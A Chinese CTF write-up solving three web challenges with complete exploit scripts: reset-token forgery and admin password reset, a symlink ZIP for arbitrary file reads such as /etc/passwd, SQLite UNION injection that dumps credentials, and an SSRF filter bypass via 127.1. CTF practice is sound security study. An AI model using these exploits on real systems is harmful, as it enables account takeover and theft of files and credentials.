[TOC]

WEB

预约挂号

Hint:仁和医院上线了内部员工门户系统,支持在线预约挂号。近期安全团队发现系统可能存在安全隐患,请你对系统进行安全评估,获取系统中的敏感文件。

查看注释发现测试环境账号: doctor1/doctor123, nurse1/nurse123

使用随便一个登录,发现有set-session

接口测试,发现有403的

image-20260601174005745

先试试进行session伪造

image-20260601180439616

但是无法找到secret key,所以这条路放弃

发现有 /api/reset-password 接口,

image-20260601180743237

而/static/js/token_worker.js文件里有token生成规则

token 的本质是:token = 混淆后的当前时间戳 + “:” + 用户名派生 key 的混淆编码

不是随机 token,也不是服务端独占 secret。只要知道用户名和大致服务器时间,就能离线生成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
#!/usr/bin/env python3
"""Standalone offline-style reset token forger for HUBU2026-预约挂号.

The script uses only Python standard library. It contacts the target once to
read the HTTP Date header, then recreates the frontend token algorithm locally.
"""

import argparse
import calendar
import email.utils
import hashlib
import json
import time
import urllib.error
import urllib.request


DEFAULT_TARGET = "http://116.211.228.232:44481"
DEFAULT_USERNAME = "admin"
DEFAULT_EMAIL = "admin@hospital.com"

INTERNAL_SALT = "hospital_internal_2026"
XOR_MASK = 0xB7
XOR_SEED = 0x95
BASE32_ALPHABET = "HJKLMNPQRSTUVWXYZ23456789ABCDEFG"
TIMESTAMP_OFFSET = 1700000000


def http_request(url, method="GET", json_body=None, timeout=8):
data = None
headers = {}
if json_body is not None:
data = json.dumps(json_body).encode("utf-8")
headers["Content-Type"] = "application/json"

req = urllib.request.Request(url, data=data, headers=headers, method=method)
with urllib.request.urlopen(req, timeout=timeout) as resp:
return resp.status, dict(resp.headers), resp.read()


def get_server_epoch(target):
# HEAD is enough for Date; fall back to GET if the server rejects HEAD.
try:
_, headers, _ = http_request(target.rstrip("/") + "/", method="HEAD")
except Exception:
_, headers, _ = http_request(target.rstrip("/") + "/", method="GET")

date_header = headers.get("Date")
if not date_header:
raise RuntimeError("target response has no Date header")

parsed = email.utils.parsedate(date_header)
if parsed is None:
raise RuntimeError(f"invalid Date header: {date_header!r}")
return calendar.timegm(parsed), date_header


def trigger_forgot_password(target, email):
# Some implementations only accept reset tokens after the forgot flow runs.
url = target.rstrip("/") + "/api/forgot-password"
try:
status, _, body = http_request(url, method="POST", json_body={"email": email})
return status, body.decode("utf-8", errors="replace")
except Exception as exc:
return None, str(exc)


def derive_key(username):
raw = (username + INTERNAL_SALT).encode("utf-8")
return hashlib.sha256(raw).hexdigest()[:16]


def caesar_transform(value):
out = []
for ch in value:
c = ord(ch)
if 97 <= c <= 122:
c -= 3
if c < 97:
c += 26
elif 65 <= c <= 90:
c += 5
if c > 90:
c -= 26
elif 48 <= c <= 57:
c += 7
if c > 57:
c -= 10
out.append(chr(c))
return "".join(out)


def xor_obfuscate(value):
out = []
for i, ch in enumerate(value):
c = ord(ch) ^ XOR_MASK
c ^= (XOR_SEED + i) % 256
c ^= (i * 0x37) & 0xFF
out.append(chr(c & 0xFF))
return "".join(out)


def custom_base32(value):
result = ""
bits = 0
buffer = 0
for ch in value:
buffer = (buffer << 8) | (ord(ch) & 0xFF)
bits += 8
while bits >= 5:
bits -= 5
result += BASE32_ALPHABET[(buffer >> bits) & 0x1F]
if bits > 0:
result += BASE32_ALPHABET[(buffer << (5 - bits)) & 0x1F]
return result


def obfuscate_timestamp(timestamp):
value = ((timestamp - TIMESTAMP_OFFSET) ^ 0xDEADBEEF) & 0xFFFFFFFF
return f"{value:08x}"


def forge_token(username, timestamp):
key = derive_key(username)
encoded_key = custom_base32(xor_obfuscate(caesar_transform(key)))
return f"{obfuscate_timestamp(timestamp)}:{encoded_key}"


def parse_args():
parser = argparse.ArgumentParser(
description="Fetch target time and forge a password-reset token."
)
parser.add_argument("--target", default=DEFAULT_TARGET, help="target base URL")
parser.add_argument("--username", default=DEFAULT_USERNAME, help="target username")
parser.add_argument("--email", default=DEFAULT_EMAIL, help="email for forgot-password trigger")
parser.add_argument("--timestamp", type=int, help="use this Unix timestamp directly")
parser.add_argument("--server-date", help="use this HTTP Date header directly")
parser.add_argument("--offset", type=int, default=0, help="seconds added to server time")
parser.add_argument(
"--window",
nargs=2,
type=int,
metavar=("START", "END"),
help="print tokens for offsets from START to END inclusive",
)
parser.add_argument(
"--no-forgot",
action="store_true",
help="do not call /api/forgot-password before generating token",
)
parser.add_argument(
"--quiet",
action="store_true",
help="print only token lines",
)
return parser.parse_args()


def resolve_base_timestamp(args):
if args.timestamp is not None:
return args.timestamp, f"manual timestamp: {args.timestamp}"

if args.server_date:
parsed = email.utils.parsedate(args.server_date)
if parsed is None:
raise RuntimeError(f"invalid --server-date value: {args.server_date!r}")
epoch = calendar.timegm(parsed)
return epoch, f"manual Date: {args.server_date}"

epoch, header = get_server_epoch(args.target)
return epoch, f"server Date: {header}"


def main():
args = parse_args()
target = args.target.rstrip("/")

if not args.no_forgot:
status, body = trigger_forgot_password(target, args.email)
if not args.quiet:
print(f"[*] forgot-password status: {status}")
print(f"[*] forgot-password body: {body[:200]}")

try:
server_epoch, source = resolve_base_timestamp(args)
except urllib.error.URLError as exc:
raise SystemExit(
"network error while reading target time; use --timestamp or --server-date to run offline: "
f"{exc}"
)

if not args.quiet:
print(f"[*] time source: {source}")
print(f"[*] base epoch: {server_epoch}")
print(f"[*] username: {args.username}")

if args.window:
start, end = args.window
step = 1 if start <= end else -1
for offset in range(start, end + step, step):
ts = server_epoch + offset
print(f"{offset:+d} {ts} {forge_token(args.username, ts)}")
return 0

timestamp = server_epoch + args.offset
if not args.quiet:
print(f"[*] offset: {args.offset:+d}")
print(f"[*] timestamp: {timestamp}")
print(forge_token(args.username, timestamp))
return 0


if __name__ == "__main__":
raise SystemExit(main())

生成一个

1
da64d179:K2B4SD7MJSRSCS8FQV9UWA4XLZ

下一步构造post请求包

1
2
3
curl -sS -X POST 'http://xxx:41360/api/reset-password' \
-H 'Content-Type: application/json' \
-d '{"uid":1,"token":"da64d179:K2B4SD7MJSRSCS8FQV9UWA4XLZ","new_password":"Hacked123!"}'

然后使用admin/Hacked123!登录进去

在管理面板中可以查看备份列表,拿到一个sql文件和一个压缩包,压缩包里有一个指向root的root_link文件

还有一个文件上传的地方,可以利用这个root_link

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
"""Create the symlink ZIP used for HUBU2026-预约挂号."""

import io
import zipfile


OUTPUT_FILE = "symlink_restore.zip"
LINK_NAME = "root_link"
LINK_TARGET = "/"


def main() -> int:
buf = io.BytesIO()

with zipfile.ZipFile(buf, "w", compression=zipfile.ZIP_STORED) as zf:
zf.writestr("restore_data.sql", "-- generated for HUBU2026\nSELECT 1;\n")

zi = zipfile.ZipInfo(LINK_NAME)
zi.create_system = 3
zi.external_attr = (0o120777 << 16)
zf.writestr(zi, LINK_TARGET)

with open(OUTPUT_FILE, "wb") as f:
f.write(buf.getvalue())

print(f"[+] wrote {OUTPUT_FILE}")
print(f"[+] contains symlink: {LINK_NAME} -> {LINK_TARGET}")
print("[+] upload this ZIP to /api/admin/backup/restore")
print(f"[+] then read files with: /api/admin/backup/download?file={LINK_NAME}/etc/passwd")
return 0


if __name__ == "__main__":
raise SystemExit(main())

然后上传生成恶意zip,利用文件读取进行访问拿到flag

1
/api/admin/backup/download?file=root_link/var/www/html/flag

Mini Notice

题目是一个 Flask 公告系统,后台保存了 flag。核心点在 /search?q= 存在 SQLite UNION SQL 注入,可以直接读出 users 表中的管理员密码,再登录 /admin 获取 flag。

Step 1: 确认搜索框存在 SQL 注入

首页提示有游客账号 guest / guest,但游客登录后仍然无法进入后台,说明需要管理员权限。继续观察 /search,发现查询参数 q 会直接影响结果,sqlmap 很快确认它是 SQLite 注入点,并给出 3 列 UNION 注入。

下面这份脚本从目标站点开始,先用 UNION 注入读取 users 表中的管理员密码,再登录后台并提取 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python3
# 1. 使用标准库和 requests 直接完成注入、登录、取 flag
import re
import sys

import requests


# 2. 靶机基础地址
BASE = "http://116.211.228.232:49539"


def extract_notice_titles(html: str) -> list[str]:
# 3. 搜索结果中的标题在 <h2> 标签里,足够稳定,直接提取
return re.findall(r"<h2>(.*?)</h2>", html, flags=re.S)


def main() -> int:
# 4. 维持会话,后续直接复用登录态访问后台
session = requests.Session()

# 5. 利用 3 列 UNION 注入读取 users 表,拼出 username:password:role
payload = "zzz%' UNION ALL SELECT id,username||':'||password||':'||role,'x' FROM users-- x"
resp = session.get(f"{BASE}/search", params={"q": payload}, timeout=10)
resp.raise_for_status()

titles = extract_notice_titles(resp.text)
admin_line = next((item for item in titles if item.startswith("admin:")), None)
if not admin_line:
print("[-] admin credentials not found")
return 1

# 6. 解析出管理员账号和密码
username, password, role = admin_line.split(":", 2)
print(f"[+] admin creds: {username} / {password} ({role})")

# 7. 使用泄露的密码登录
login = session.post(
f"{BASE}/login",
data={"username": username, "password": password},
timeout=10,
allow_redirects=False,
)
if login.status_code != 302:
print(f"[-] login failed: HTTP {login.status_code}")
return 1

# 8. 访问后台页面,提取 flag
admin = session.get(f"{BASE}/admin", timeout=10)
admin.raise_for_status()

match = re.search(r"flag\{[^}]+\}", admin.text)
if not match:
print("[-] flag not found")
return 1

print(f"[+] flag: {match.group(0)}")
return 0


if __name__ == "__main__":
sys.exit(main())

Step 2: 读取用户表并登录后台

利用结果可以直接读出用户表内容:

1
2
admin:please_leak_me_from_database:admin
guest:guest:guest

随后使用 admin / please_leak_me_from_database 登录 /login,再请求 /admin,页面中返回最终 flag。

1
flag{4f972a36-eb4f-4451-be13-e74d2b3466a1}

HUBU2026-tiny-proxy

题目是一个网页预览服务,后端会根据用户提交的 url 抓取页面内容。核心漏洞是 SSRF 过滤不完整:127.0.0.1 会被拦截,但 127.1 没有被识别为私网地址,仍会解析到 loopback,从而访问仅内部可达的 flag 接口。

Step 1: 确认预览接口

首页提供 /preview 功能,表单字段为 url,通过 POST 提交。正常外部站点可以被抓取:

1
2
curl -v --max-time 10 -X POST 'http://116.211.228.232:48894/preview' \
--data-urlencode 'url=http://example.com/'

直接请求回环地址会触发过滤:

1
2
curl -v --max-time 10 -X POST 'http://116.211.228.232:48894/preview' \
--data-urlencode 'url=http://127.0.0.1:48894/'

返回结果中可以看到:

1
Blocked private host.

Step 2: 使用 127.1 绕过私网主机过滤

测试发现 127.1 不会被过滤器识别为私网主机,但实际仍指向本机回环地址。进一步探测内部端口时,127.1:5000 返回了同一个 Flask 应用,说明服务真实监听在内部 5000 端口。

最终访问内部 flag 路由:

1
2
curl -v --max-time 8 -X POST 'http://116.211.228.232:48894/preview' \
--data-urlencode 'url=http://127.1:5000/internal/flag'

返回内容:

1
flag{4b1e9aab-dbea-400d-9822-9af28173b0a3}

Step 3: 完整解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3
# 01. 使用标准库完成 SSRF 请求并提取 <pre> 中的 flag。
import html
import re
import sys
import urllib.parse
import urllib.request


# 02. 目标预览接口与 SSRF payload。
TARGET = "http://116.211.228.232:48894/preview"
PAYLOAD_URL = "http://127.1:5000/internal/flag"


def main() -> int:
# 03. 构造 application/x-www-form-urlencoded POST 数据。
data = urllib.parse.urlencode({"url": PAYLOAD_URL}).encode()
req = urllib.request.Request(
TARGET,
data=data,
headers={"Content-Type": "application/x-www-form-urlencoded"},
method="POST",
)

# 04. 读取响应并从结果面板中提取服务端抓取到的内容。
with urllib.request.urlopen(req, timeout=10) as resp:
body = resp.read().decode("utf-8", errors="replace")

match = re.search(r"<pre>(.*?)</pre>", body, re.S)
if not match:
print("[-] no preview result found", file=sys.stderr)
return 1

result = html.unescape(match.group(1)).strip()
flag = re.search(r"flag\{[^}]+\}", result)
if not flag:
print("[-] flag not found", file=sys.stderr)
print(result)
return 1

print(flag.group(0))
return 0


if __name__ == "__main__":
raise SystemExit(main())

Flag

1
flag{4b1e9aab-dbea-400d-9822-9af28173b0a3}